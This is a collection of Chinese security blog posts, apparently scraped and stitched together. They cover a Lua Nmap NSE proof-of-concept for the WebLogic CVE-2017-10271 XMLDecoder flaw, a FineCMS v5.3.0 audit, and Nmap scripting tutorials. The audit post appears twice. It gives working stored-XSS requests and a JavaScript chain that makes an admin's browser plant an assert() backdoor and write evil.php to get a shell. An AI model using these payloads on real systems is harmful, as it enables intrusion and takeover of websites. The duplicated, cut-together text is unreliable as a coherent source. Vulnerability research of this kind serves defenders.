    local basepath = "/wls-wsat/CoordinatorPortType"

    math.randomseed(tostring(os.time()):reverse():sub(1, 7)) --设置时间种子
    local randomnum = math.random(1000000,9999999)  -- 生成一个随机数,POC需要具有随机性

    local randomurl = '/wls-wsat/' .. tostring(randomnum) .. '.txt'

    print(randomurl)

    local postdata='<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/' .. tostring(randomnum) .. '.txt</string><void method="println"><string>xmldecodetest</string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>'

    local options={ header = {    -- HTTP头部的编写格式
    ["Accept-Encoding"]="en",
    ["Accept"]="*/*",
    ["User-Agent"] = "Mozilla/5.0",
    ["Content-Length"]=638,
    ["Content-Type"]="text/xml",
    ["Expect"]="100-continue",
    ["Connection"]="Keep-Alive"
    } }

    local req = http.get(host,port,basepath,{ no_cache = true})  -- 检测是否存在/wls-wsat/CoordinatorPortType路径的请求
    local reqw= http.post(host,port,basepath,options,nil,postdata)  -- 发送POC的请求 
    local reqr= http.get(host,port,randomurl,{ no_cache = true}) -- 检测POC是否成功写入文件的请求

    if string.find(reqr.body,'xmldecodetest') ~= nil  -- 如果写入的文件有xmldecodetest字段,说明漏洞存在
    then
        return "Vuln Detect CVE-2017-10271 ,Weblogic < 10.3.6 'wls-wsat' XMLDecoder"
    end

    if string.find(req.body,'CoordinatorPortType') ~= nil  -- 如果存在/wls-wsat/CoordinatorPortType路径,说明可能存在风险
    then
        return "Vuln Warning .. Detect PATH: /wls-wsat/CoordinatorPortType ,Mabey CVE-2017-10271 ,Weblogic < 10.3.6 'wls-wsat' XMLDecoder"
    end
end

0×05 小结

本期如何利用NSE编写攻击脚本到这里结束了,主要和大家介绍了下斗哥的一些经验总结,下期呢将为大家介绍Nmap中的并发执行。

qrcode_for_gh_223e082fe8a7_344.jpg

0×00 背景

上周,发现了finecms的一些后台的洞,斗哥先从配置文件写入开始分析,然后再结合本篇的存储XSS进行GetShell,本篇分析下存储XSS的问题,最终通过这两类洞的组合利用GetShell,期待与师傅们的交流讨论。

0×01 审计过程

0×00 相关环境

源码信息:FineCMS v5.3.0 bulid 20180206

问题文件: \finecms\finecms\system\core\Log.php

漏洞类型:存储型XSS

站点地址:http://www.finecms.net/

0×01 漏洞分析

在\finecms\finecms\system\core\Log.php文件中的第170-237行中,发现write_log方法,通过分析代码发现传入的$msg变量在传递到fwrite方法中的过程没有经过安全处理,直接写到文件中,可能存在文件写入的问题。

问题 1.png

问题 2.png

通过寻找write_log方法被调用的位置,在\finecms\finecms\system\core\Common.php文件中的第469行中发现被调用的位置。

位置.png

寻找log_message方法被调用的位置,发现log_message被调用的位置很多,现在以如下文件中的代码分析为例,在\finecms\finecms\system\core\Exceptions.php文件中的show_404方法的第135行中的代码调用了log_message。

loh.png

寻找show_404方法被调用的位置,在\finecms\finecms\system\core\CodeIgniter.php文件中的第494行发现调用的位置,且传入的数据是$RTR->directory.$class.’/’.$method,通过分析该文件的代码可以知道$class和$method是在传入参数值后在router中未找到相应的文件或方法的值,然后将这些数据进行拼接,通过show_404方法去调用log_message再调用write_log写入到日志文件中,因此存在文件写入问题。

xieru.png

由于此处写入的文件\finecms\cache\errorlog\log-2018-02-28.php中的PHP代码在exit之后,所以需要在某些操作下才能触发我们写入的PHP代码。

php.png

所以此处的漏洞可以有两种用法,一种是写入php代码,然后坐等管理员登录后台进行”某些操作”,从而触发PHP代码,另一只方式是写入前端代码类似1 通过xss,在管理员浏览错误日志的时候直接进行可以触发PHP代码的操作请求,这里可以结合文件本漏洞或其他漏洞进行GetShell,这里的”某些操作”我进行简要的分析并没有发现,如果有师傅发现了请也告诉我下。

0×02 漏洞复现

例如,进行以下请求http://127.0.0.1/index.php?c=mail&m=test&id=1&0.3873487753402759将前端代码写到日志中。

rizhi.png

当管理员进入后台访问错误日志的时候就会触发XSS,这里输出的代码分析就不做了,本身就没有编码输出。

shuchu.png

然后可以利用这个XSS进行GetShell。

首先构造如下ajax。

function csrf_shell()

{

var xmlhttp1=new XMLHttpRequest();

xmlhttp1.open("POST","/admin.php?c=site&m=index",true);

xmlhttp1.setRequestHeader("Content-type","application/x-www-form-urlencoded");

xmlhttp1.send("ids[]=1&data[1][name]=FineCMS&data[1][domain]=127.0.0.1'=>1).die($_GET['func']($_GET['evil'])//");

var xmlhttp2=new XMLHttpRequest();

xmlhttp2.open("POST","/admin.php?c=site&m=index&func=assert&evil=fwrite(fopen('evil.php', 'w'),'<?php phpinfo();?>')",true);

xmlhttp2.setRequestHeader("Content-type","application/x-www-form-urlencoded");

xmlhttp2.send("ids[]=1&data[1][name]=FineCMS&data[1][domain]=127.0.0.1'=>1).die($_GET['func']($_GET['evil'])//");

};

csrf_shell();

然后进行如下请求将前端代码写入日志文件中,

http://127.0.0.1/index.php?c=mail&m=test

当管理员查看错误日志的时候就能够GetShell。

shell1.png

shell 2.png

1×00 相关环境

源码信息:FineCMS v5.3.0 bulid 20180206

问题文件: \finecms\finecms\dayrui\core\M_Controller.php

漏洞类型:存储型XSS

站点地址:http://www.finecms.net/

1×01 漏洞分析

在测试FineCMS的时候,发现留言的时候直接发送html代码,因此可能存在存储xss,通过数据流的跟踪,得知在FineCMS留言板中默认情况下是未对输入的字符进行XSS安全处理的,首先分析下留言内容存入数据库的操作。

分析输入的代码,在\finecms\finecms\dayrui\controllers\Form.php文件的第53行,将传入的$data使用new_addc方法进行数据库insert操作,其中$data便是用户提交的可控字符,这里仅需要这么理解即可,因为实际情况数据传递比较复杂。

fuza.png

通过反现跟踪\finecms\finecms\dayrui\controllers\Form.php文件中的$data数据,得知是由$this->validate_filter($this->form['field']);得到的。

dedao.png

跟入validate_filter方法,在\finecms\finecms\dayrui\core\M_Controller.php文件中的第952行中发现该方法,这里主要看问题代码,这里$field['fieldtype']的值为Ueditor因此得到的值是1,然后在第985行中,当$validate['xss']为1的时候是不会进行XSS的安全检测的。

jiance.png

分析输出的代码,在文件\finecms\finecms\dayrui\controllers\admin\Fcontent.php文件中的第203行中从数据库中获取留言内容。

neirong.png

跟入get_data方法,在\finecms\finecms\dayrui\models\Form_model.php文件中的第375-388行中,找到该方法代码块,可以看到该方法未对取出的数据进行任何处理。

chuli.png

继续回到\finecms\finecms\dayrui\controllers\admin\Fcontent.php文件,然后追踪$data在页面回显的代码位置,在第231行中找到输出的代码块。

daimakuai.png

跟进field_input方法,在\finecms\finecms\dayrui\core\M_Controller.php文件中的第1427行发现代码块。

faxian.png

继续跟进new_field_input方法,在\finecms\finecms\dayrui\core\M_Controller.php文件中的第1270行中发现该方法的代码块,通过分析和打印的方式进行测试,在第1414行打印$myfield得到回显的页面,是没有经过编码的,因此存在存储型XSS。

s1.png

s  2.png

1×02 漏洞复现

在前台留言板中进行如下请求:

POST /index.php?c=form&mid=liuyan HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 93

Referer: [http://127.0.0.1/index.php?c=form&mid=liuyan](http://127.0.0.1/index.php?c=form&mid=liuyan)

Connection: close

Upgrade-Insecure-Requests: 1

data%5Btitle%5D=4&code=bgsp&data%5Bneirong%5D=<p>3<br/></p><img//onerror="alert`1`"//src="1">

然后当管理员访问后台的留言信息的时候便会触发XSS,攻击者可以利用存储XSS对后台漏洞进行攻击利用。

liyong.png

0×02 小结

本篇仅列举了两处存储XSS,与上周的后台文件写入问题的漏洞结合利用便可以GetShell,大家如果有其他方法也欢迎与我一同讨论交流[email protected],期待与师傅们的各种讨论。

qrcode_for_gh_223e082fe8a7_344.jpg

上一期跟大家介绍了Nmap中NSE脚本和常见的NSE的API,本期将为大家介绍Nmap的库文件以及如何利用Nmap的自身库将nmap的扫描结果保存在数据中。

0×01 NSE 中的库文件

NSE中的库文件实现了代码的分离和重构,有助于脚本的开发。斗哥的所用的Nmap库文件数目前有128个,存放在/nselib/文件夹中。

0×02 NSE库文件的编写

1. 创建一个测试库文件

NSE的库文件就是一个lua文件。要编写一个库文件,如我们在/nselib/文件夹中新建一个名为testlib.lua的文件,该库文件返回参数port是开启的。

文库.png

在新建的文件中,创建一个测试方法Porttest()

function Porttest(port)
    return string.format("The port '%s' is open",port)
end

2. 在NSE脚本中引用测试库

scripts文件中新建一个测试脚本,testlib.nse文件,,如果端口开启则把端口传入Porttest()方法中。

local shortport = require "shortport"
local testlib = require "testlib"

description = [[引用库文件测试]]

author = "reborn"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default"}

portrule = function( host, port )
    return true
end

action = function(host,port)
    return Porttest(port.number)
end

可以看到,引用库文件使用local,格式一般为:local 库文件名 = require "库文件名",引用完毕即可直接使用库里面的方法和属性值了。Nmap 命令:nmap -Pn 10.10.10.39 --script testlib,如果需要脚本或者库需要调试,可以加上-d参数进入调试模式。

模式.png

0×03 利用自有库和自定义库实现MySql写库

1. 需要用到的库

  • mysql:用来进行数据库操作。
  • nmap:通过nmap建立socket连接mysql。
  • shortport:基本的port规则库。
  • serializelib:自定义库,将table数据转成字符串。

2. 自定义库serializelib这个库是自己写的将table数据转成字符串,便于将host.osport.version等数据转成字符串写到数据库中。该库下载地址:https://gitee.com/RE13ORN/my_nmap/blob/master/serializelib.lua

3. 创建数据库和存放结果的表需要在你的MySql中建一个名为nmap的数据库,然后建立表和字段:

CREATE TABLE IF NOT EXISTS nmap.scanData (date varchar(40),hostos varchar(200),hostname varchar(100), ip varchar(16), port integer(5), protocol varchar(3), state varchar(20), service varchar(100), version varchar(100));

字段.png

4. 连接MySQL的NSE脚本注意,我们使用的是socket来连接mysql,而不是使用lua的第三方库,这将使得我们的脚本更具通用性。

建立socket

local socket = nmap.new_socket()

创建一个登录mysql的方法mysqlLogin

local function mysqlLogin(socket, username, password)
      local status, response = mysql.receiveGreeting( socket )
      if ( not(status) ) then
        return response
      end
      return mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
end

mysqlLogin引用了mysql库的receiveGreeting()连接socket和loginRequest登录的方法。

mysql.sqlQuery( socket, sql )进行数据库查询。

注意:使用sqlQuery执行SELECT操作正常,但是执行INSERT操作时,虽然也能正常写数据到数据库,但是有一个警告异常decodeDataPackets无接收到参数。

查找官网手册对mysql库的说明,https://nmap.org/nsedoc/lib/mysql.html,下面是官方对`sqlQuery`的介绍:

sqlQuery (socket, query)
Sends the query to the MySQL server and then attempts to decode the response

Parameters
    socket: socket already connected to mysql
    query: string containing the sql query
Return values:
    status true on success, false on failure
    rows table containing row tables as decoded by decodeDataPackets

可以发现,sqlQuery必须要有返回值,因为其返回值会经过decodeDataPackets方法处理。而SELECT是有返回值的而INSERT无返回值故会报错。

解决的办法也很简单,在INSERT语句后添加一个SELECT 1语句使其有返回值即可。

完整代码:

local mysql = require "mysql"
local serializelib=require "serializelib"
local nmap = require "nmap"
local shortport = require "shortport"

local function mysqlLogin(socket, username, password)
      local status, response = mysql.receiveGreeting( socket )
      if ( not(status) ) then
        return response
      end
      return mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
end

description = [[test api]]

author = "reborn"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default"}

portrule = function () return true end

function portaction (host,port)
    local host_local="127.0.0.1"
    local port_local="3306"
    local username="root"
    local password="root"
    local hostos_str=serialize(host.os)
    local version = serialize(port.version)

    if (port.version.product~=nil) then
        version = port.version.product
    end
    if (port.version.version~=nil) then
        version = version .. port.version.version
    end

    local date=os.date("%Y-%m-%d %H:%M:%S")
    local sql = string.format("INSERT INTO nmap.scanData (date,hostos,hostname,ip, port,protocol,state,service,version) VALUES ('%s','%s','%s', '%s', %d, '%s', '%s', '%s', '%s');select 1",date,hostos_str,host.name,host.ip, port.number,port.protocol,port.state,port.service,version)

    local socket = nmap.new_socket()

    if ( not(socket:connect(host_local, port_local)) ) then
        return fail("Failed to connect to server")
       end
    local status, response = mysqlLogin(socket, username, password)
    if ( status ) then
         local status, rs = mysql.sqlQuery( socket, sql )
        socket:close()
    else
         socket:close()
    end
end
local ActionsTable = {
  portrule = portaction
}
-- execute the action function corresponding to the current rule
action = function(...) return ActionsTable[SCRIPT_TYPE](...) end

Nmap语句: nmap -O 10.10.10.39 --script mysql-store

语句.png

0×04 小结

本期关于nmap库文件编写和mysql数据库存储就到这里了,更多库的使用和脚本应用可以查看官网手册去扩展或者自定义。另外,之前看到有人写数据库使用的是lua的第三方库,这种方式很繁琐且第三方库需要独立下载使用,建议还是使用“socket+自有库mysql”这种解决方案要好得多。

下期预告

  • NSE漏洞审计和渗透脚本的demo
  • NSE的并发处理
  •                                                         qrcode_for_gh_223e082fe8a7_344.jpg

0×00 背景

上周,发现了finecms的一些后台的洞,斗哥先从配置文件写入开始分析,然后再结合本篇的存储XSS进行GetShell,本篇分析下存储XSS的问题,最终通过这两类洞的组合利用GetShell,期待与师傅们的交流讨论。

0×01 审计过程

0×00 相关环境

源码信息:FineCMS v5.3.0 bulid 20180206

问题文件: \finecms\finecms\system\core\Log.php

漏洞类型:存储型XSS

站点地址:http://www.finecms.net/

0×01 漏洞分析

在\finecms\finecms\system\core\Log.php文件中的第170-237行中,发现write_log方法,通过分析代码发现传入的$msg变量在传递到fwrite方法中的过程没有经过安全处理,直接写到文件中,可能存在文件写入的问题。

问题 1.png

问题 2.png

通过寻找write_log方法被调用的位置,在\finecms\finecms\system\core\Common.php文件中的第469行中发现被调用的位置。

位置.png

寻找log_message方法被调用的位置,发现log_message被调用的位置很多,现在以如下文件中的代码分析为例,在\finecms\finecms\system\core\Exceptions.php文件中的show_404方法的第135行中的代码调用了log_message。

loh.png

寻找show_404方法被调用的位置,在\finecms\finecms\system\core\CodeIgniter.php文件中的第494行发现调用的位置,且传入的数据是$RTR->directory.$class.’/’.$method,通过分析该文件的代码可以知道$class和$method是在传入参数值后在router中未找到相应的文件或方法的值,然后将这些数据进行拼接,通过show_404方法去调用log_message再调用write_log写入到日志文件中,因此存在文件写入问题。

xieru.png

由于此处写入的文件\finecms\cache\errorlog\log-2018-02-28.php中的PHP代码在exit之后,所以需要在某些操作下才能触发我们写入的PHP代码。

php.png

所以此处的漏洞可以有两种用法,一种是写入php代码,然后坐等管理员登录后台进行”某些操作”,从而触发PHP代码,另一只方式是写入前端代码类似1 通过xss,在管理员浏览错误日志的时候直接进行可以触发PHP代码的操作请求,这里可以结合文件本漏洞或其他漏洞进行GetShell,这里的”某些操作”我进行简要的分析并没有发现,如果有师傅发现了请也告诉我下。

0×02 漏洞复现

例如,进行以下请求http://127.0.0.1/index.php?c=mail&m=test&id=1&0.3873487753402759将前端代码写到日志中。

rizhi.png

当管理员进入后台访问错误日志的时候就会触发XSS,这里输出的代码分析就不做了,本身就没有编码输出。

shuchu.png

然后可以利用这个XSS进行GetShell。

首先构造如下ajax。

function csrf_shell()

{

var xmlhttp1=new XMLHttpRequest();

xmlhttp1.open("POST","/admin.php?c=site&m=index",true);

xmlhttp1.setRequestHeader("Content-type","application/x-www-form-urlencoded");

xmlhttp1.send("ids[]=1&data[1][name]=FineCMS&data[1][domain]=127.0.0.1'=>1).die($_GET['func']($_GET['evil'])//");

var xmlhttp2=new XMLHttpRequest();

xmlhttp2.open("POST","/admin.php?c=site&m=index&func=assert&evil=fwrite(fopen('evil.php', 'w'),'<?php phpinfo();?>')",true);

xmlhttp2.setRequestHeader("Content-type","application/x-www-form-urlencoded");

xmlhttp2.send("ids[]=1&data[1][name]=FineCMS&data[1][domain]=127.0.0.1'=>1).die($_GET['func']($_GET['evil'])//");

};

csrf_shell();

然后进行如下请求将前端代码写入日志文件中,

http://127.0.0.1/index.php?c=mail&m=test

当管理员查看错误日志的时候就能够GetShell。

shell1.png

shell 2.png

1×00 相关环境

源码信息:FineCMS v5.3.0 bulid 20180206

问题文件: \finecms\finecms\dayrui\core\M_Controller.php

漏洞类型:存储型XSS

站点地址:http://www.finecms.net/

1×01 漏洞分析

在测试FineCMS的时候,发现留言的时候直接发送html代码,因此可能存在存储xss,通过数据流的跟踪,得知在FineCMS留言板中默认情况下是未对输入的字符进行XSS安全处理的,首先分析下留言内容存入数据库的操作。

分析输入的代码,在\finecms\finecms\dayrui\controllers\Form.php文件的第53行,将传入的$data使用new_addc方法进行数据库insert操作,其中$data便是用户提交的可控字符,这里仅需要这么理解即可,因为实际情况数据传递比较复杂。

fuza.png

通过反现跟踪\finecms\finecms\dayrui\controllers\Form.php文件中的$data数据,得知是由$this->validate_filter($this->form['field']);得到的。

dedao.png

跟入validate_filter方法,在\finecms\finecms\dayrui\core\M_Controller.php文件中的第952行中发现该方法,这里主要看问题代码,这里$field['fieldtype']的值为Ueditor因此得到的值是1,然后在第985行中,当$validate['xss']为1的时候是不会进行XSS的安全检测的。

jiance.png

分析输出的代码,在文件\finecms\finecms\dayrui\controllers\admin\Fcontent.php文件中的第203行中从数据库中获取留言内容。

neirong.png

跟入get_data方法,在\finecms\finecms\dayrui\models\Form_model.php文件中的第375-388行中,找到该方法代码块,可以看到该方法未对取出的数据进行任何处理。

chuli.png

继续回到\finecms\finecms\dayrui\controllers\admin\Fcontent.php文件,然后追踪$data在页面回显的代码位置,在第231行中找到输出的代码块。

daimakuai.png

跟进field_input方法,在\finecms\finecms\dayrui\core\M_Controller.php文件中的第1427行发现代码块。

faxian.png

继续跟进new_field_input方法,在\finecms\finecms\dayrui\core\M_Controller.php文件中的第1270行中发现该方法的代码块,通过分析和打印的方式进行测试,在第1414行打印$myfield得到回显的页面,是没有经过编码的,因此存在存储型XSS。

s1.png

s  2.png

1×02 漏洞复现

在前台留言板中进行如下请求:

POST /index.php?c=form&mid=liuyan HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 93

Referer: [http://127.0.0.1/index.php?c=form&mid=liuyan](http://127.0.0.1/index.php?c=form&mid=liuyan)

Connection: close

Upgrade-Insecure-Requests: 1

data%5Btitle%5D=4&code=bgsp&data%5Bneirong%5D=<p>3<br/></p><img//onerror="alert`1`"//src="1">

然后当管理员访问后台的留言信息的时候便会触发XSS,攻击者可以利用存储XSS对后台漏洞进行攻击利用。

liyong.png

0×02 小结

本篇仅列举了两处存储XSS,与上周的后台文件写入问题的漏洞结合利用便可以GetShell,大家如果有其他方法也欢迎与我一同讨论交流[email protected],期待与师傅们的各种讨论。

qrcode_for_gh_223e082fe8a7_344.jpg

上一期跟大家介绍了Nmap中NSE脚本和常见的NSE的API,本期将为大家介绍Nmap的库文件以及如何利用Nmap的自身库将nmap的扫描结果保存在数据中。

0×01 NSE 中的库文件

NSE中的库文件实现了代码的分离和重构,有助于脚本的开发。斗哥的所用的Nmap库文件数目前有128个,存放在/nselib/文件夹中。

0×02 NSE库文件的编写

1. 创建一个测试库文件

NSE的库文件就是一个lua文件。要编写一个库文件,如我们在/nselib/文件夹中新建一个名为testlib.lua的文件,该库文件返回参数port是开启的。

文库.png

在新建的文件中,创建一个测试方法Porttest()

function Porttest(port)
    return string.format("The port '%s' is open",port)
end

2. 在NSE脚本中引用测试库

scripts文件中新建一个测试脚本,testlib.nse文件,,如果端口开启则把端口传入Porttest()方法中。

local shortport = require "shortport"
local testlib = require "testlib"

description = [[引用库文件测试]]

author = "reborn"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default"}

portrule = function( host, port )
    return true
end

action = function(host,port)
    return Porttest(port.number)
end

可以看到,引用库文件使用local,格式一般为:local 库文件名 = require "库文件名",引用完毕即可直接使用库里面的方法和属性值了。Nmap 命令:nmap -Pn 10.10.10.39 --script testlib,如果需要脚本或者库需要调试,可以加上-d参数进入调试模式。

模式.png

0×03 利用自有库和自定义库实现MySql写库

1. 需要用到的库

  • mysql:用来进行数据库操作。
  • nmap:通过nmap建立socket连接mysql。
  • shortport:基本的port规则库。
  • serializelib:自定义库,将table数据转成字符串。

2. 自定义库serializelib这个库是自己写的将table数据转成字符串,便于将host.osport.version等数据转成字符串写到数据库中。该库下载地址:https://gitee.com/RE13ORN/my_nmap/blob/master/serializelib.lua

3. 创建数据库和存放结果的表需要在你的MySql中建一个名为nmap的数据库,然后建立表和字段:

CREATE TABLE IF NOT EXISTS nmap.scanData (date varchar(40),hostos varchar(200),hostname varchar(100), ip varchar(16), port integer(5), protocol varchar(3), state varchar(20), service varchar(100), version varchar(100));

字段.png

4. 连接MySQL的NSE脚本注意,我们使用的是socket来连接mysql,而不是使用lua的第三方库,这将使得我们的脚本更具通用性。

建立socket

local socket = nmap.new_socket()

创建一个登录mysql的方法mysqlLogin

local function mysqlLogin(socket, username, password)
      local status, response = mysql.receiveGreeting( socket )
      if ( not(status) ) then
        return response
      end
      return mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
end

mysqlLogin引用了mysql库的receiveGreeting()连接socket和loginRequest登录的方法。

mysql.sqlQuery( socket, sql )进行数据库查询。

注意:使用sqlQuery执行SELECT操作正常,但是执行INSERT操作时,虽然也能正常写数据到数据库,但是有一个警告异常decodeDataPackets无接收到参数。

查找官网手册对mysql库的说明,https://nmap.org/nsedoc/lib/mysql.html,下面是官方对`sqlQuery`的介绍:

sqlQuery (socket, query)
Sends the query to the MySQL server and then attempts to decode the response

Parameters
    socket: socket already connected to mysql
    query: string containing the sql query
Return values:
    status true on success, false on failure
    rows table containing row tables as decoded by decodeDataPackets

可以发现,sqlQuery必须要有返回值,因为其返回值会经过decodeDataPackets方法处理。而SELECT是有返回值的而INSERT无返回值故会报错。

解决的办法也很简单,在INSERT语句后添加一个SELECT 1语句使其有返回值即可。

完整代码:

local mysql = require "mysql"
local serializelib=require "serializelib"
local nmap = require "nmap"
local shortport = require "shortport"

local function mysqlLogin(socket, username, password)
      local status, response = mysql.receiveGreeting( socket )
      if ( not(status) ) then
        return response
      end
      return mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
end

description = [[test api]]

author = "reborn"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default"}

portrule = function () return true end

function portaction (host,port)
    local host_local="127.0.0.1"
    local port_local="3306"
    local username="root"
    local password="root"
    local hostos_str=serialize(host.os)
    local version = serialize(port.version)

    if (port.version.product~=nil) then
        version = port.version.product
    end
    if (port.version.version~=nil) then
        version = version .. port.version.version
    end

    local date=os.date("%Y-%m-%d %H:%M:%S")
    local sql = string.format("INSERT INTO nmap.scanData (date,hostos,hostname,ip, port,protocol,state,service,version) VALUES ('%s','%s','%s', '%s', %d, '%s', '%s', '%s', '%s');select 1",date,hostos_str,host.name,host.ip, port.number,port.protocol,port.state,port.service,version)

    local socket = nmap.new_socket()

    if ( not(socket:connect(host_local, port_local)) ) then
        return fail("Failed to connect to server")
       end
    local status, response = mysqlLogin(socket, username, password)
    if ( status ) then
         local status, rs = mysql.sqlQuery( socket, sql )
        socket:close()
    else
         socket:close()
    end
end
local ActionsTable = {
  portrule = portaction
}
-- execute the action function corresponding to the current rule
action = function(...) return ActionsTable[SCRIPT_TYPE](...) end

Nmap语句: nmap -O 10.10.10.39 --script mysql-store

语句.png

0×04 小结

本期关于nmap库文件编写和mysql数据库存储就到这里了,更多库的使用和脚本应用可以查看官网手册去扩展或者自定义。另外,之前看到有人写数据库使用的是lua的第三方库,这种方式很繁琐且第三方库需要独立下载使用,建议还是使用“socket+自有库mysql”这种解决方案要好得多。

下期预告

  • NSE漏洞审计和渗透脚本的demo
  • NSE的并发处理
  •                                                         qrcode_for_gh_223e082fe8a7_344.jpg

Nmap是学习网络安全必备的一款工具,有着强大的信息收集能力,有本书甚至因此称它为“诸神之眼” 。Nmap不仅仅是一个端口扫描器那么简单,它还有着一个强大的脚本引擎(NSE)可以通过编程来实现定制化。

0×01 关于Nmap中NSE的使用姿势

斗哥目前使用的 nmap 7.40这个版本中就内置有500多个官方编写的NSE脚本。下面是window上nmap的安装目录:

安装目录.png

其中,scripts目录存放着NSE脚本,而nselib目录存放各种库文件,通常使用--script来指定要使用的nmap脚本。

比如:使用mysql-brute.nse这个脚本对目标地址进行mysql的口令爆破。命令:nmap --script=mysql-brute <target>

在Nmap的官方说明文档https://nmap.org/nsedoc/中有NSE脚本和库文件的详细使用说明。

使用说明.png

0×02 NSE编写demo文件

LUA语言基础

打开任何一个NSE脚本或者是库文件,里面的代码功能通常由lua语言来实现。因此想要写自己的脚本或者库,前提是有一定的lua语言基础。lua是一个轻量化的脚本语言,有编程基础的同学学lua应该会比较轻松,在菜鸟教程花个把小时学习lua语言的基本使用,已经足够明白本篇的编程内容了。

编程.png

NSE脚本基本格式

一个完整的NSE脚本通常都有这么几个部分的代码字段:

  • description 字段:本脚本的说明介绍。
  • categories 字段:本脚本的分类。Nmap执行脚本除了指定单个脚本外,还可以指定某一类脚本,比如default类,我们没有使用--script参数时,默认会加载这一类的脚本。
  • rule 字段:本脚本的执行规则,也即触发脚本执行的条件会在rule字段定义。一般执行规则是一个lua函数,返回值只有true和false两种。
  • action字段:脚本执行的具体内容。rule字段返回true时会执行action字段定义的函数。
local shortport = require "shortport"
description = [[a demo nse file]]
author = "reborn"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default"}

portrule = function( host, port )
    return true
end

action = function(host, port)

end

NSE脚本的规则你可以发现上述rule字段是portrule,NSE脚本的执行规则是和nmap的扫描相结合的,两者执行的先后顺序目前有如下4种。

  • prerule():规则早于nmap的扫描,执行的顺序是先执行脚本,后nmap扫描。
  • hostrule():nmap完成了主机发现之后运行脚本。
  • portrule():nmap执行了端口扫描后运行脚本。
  • postrule():nmap完成所有的扫描后才执行脚本。

编写简单的NSE脚本

如:编写一个简单的脚本来探测目标是否开放了80端口,并且这个端口运行的是HTTP服务,如果是nmap输出“This is a WebServer”。那么在前面脚本demo代码的基础上,我们只需修改portrule函数的代码和让action函数来输出。代码逻辑先portrule判断条件是否成立:“目标是否开放了80端口,服务是否是HTTP”,是返回true不是返回false,代码实现:

portrule = function(host,port)
    return port.protocol == "tcp" and port.number == 80 and port.service =="http" and port.state =="open"
end

如果返回true:执行action,输出“This is a WebServer”:

action = function(host, port)
return "This is a WebServer"
end

完整的代码:

local shortport = require "shortport"
description = [[a http service detect test demo]]

author = "reborn"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default"}

portrule = function(host,port)
    return port.protocol == "tcp" and port.number == 80 and port.service =="http" and port.state =="open"
end

action = function(host, port)
return "This is a WebServer"
end

将上述代码命名为http-detect-test.nse保存在scripts目录下,然后执行nmap --script-updatedb更新nse脚本。

脚本.png

接着在nmap中执行http-detect-test.nse这个脚本:nmap -p 80 10.10.10.39 --script http-detect-test

test.png

另外,如果执行过程,脚本有错误,可以在nmap命令中加入-d来获得调试中的数据。

0×03 NSE中的API

你可能会对上面脚本中portrule规则判断扫描结果的代码心存疑惑,实际上那个位置调用了nmap扫描结果的API。

Nmap中的API的核心功能就是向脚本提供关于主机和端口的信息,例如名字解析、主机和端口的状态、服务发现等内容。此处介绍一部分常用的的API调用和代码demo供给大家参考使用。

两个Lua table 类型的参数

  • host table
  • port table

host table

1. host.os

获取nmap扫描到的操作系统信息。

  • vendor 供应商
  • osfamily 所属系列
  • osgen 具体型号
  • type 设备类型
  • CPE
local shortport = require "shortport"

description = [[test api]]

author = "reborn"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default"}

hostrule = function( host, port )
    return true
end

action = function(host, port)
    return host.os
end

扫描命令:nmap -O 10.10.10.39 --script my-api-test

Host script results:
| my-api-test:
|
|     name: Linux 2.6.13 - 2.6.32
|     classes:
|
|         type: general purpose
|         vendor: Linux
|         osgen: 2.6.X
|         osfamily: Linux
|         cpe:
|_          cpe:/o:linux:linux_kernel:2.6

2. host.ip

host.os那段脚本的第14行改为return host.ip

扫描命令:nmap www.baidu.com --script my-api-test

Host script results:
|_my-api-test: 14.215.177.38

3.host.name

host.os那段脚本的第14行改为return host.name

扫描命令:nmap www.baidu.com --script my-api-test

Host script results:
|_my-api-test: 14.215.177.38

4.host.targetname

目标主机在命令行的名字。

5.host.directly_connected

表示目标计算机是否与我们同在一个子网。

6.host.name

host.os那段脚本的第14行改为return host.mac_addr

扫描命令:nmap 10.10.10.39 --script my-api-test 必须是同一子网的设备这个命令才有效。

Host script results:
|_my-api-test: \x00\x0C)f\xF4\xDF

7.host.traceroute

host.os那段脚本的第14行改为return host.traceroute

扫描命令:nmap --traceroute www.baidu.com --script my-api-test

Host script results:
| my-api-test:
|
|     times:
|       srtt: 0.002
|     ip: 192.168.1.1
|
|     times:
|       srtt: 0.004
|     ip: 192.168.12.1
|
|     times:
|       srtt: 0.002
|     ip: 192.168.200.1
|
|     name: 78.228.84.110.broad.fz.fj.dynamic.163data.com.cn
|     ip: 110.84.228.78
|     times:
|       srtt: 0.002
|
|     times:
|       srtt: 0.017
|     ip: 113.96.4.70
|
|     times:
|       srtt: 0.017
|_    ip: 14.215.177.39

port table

1. port.number

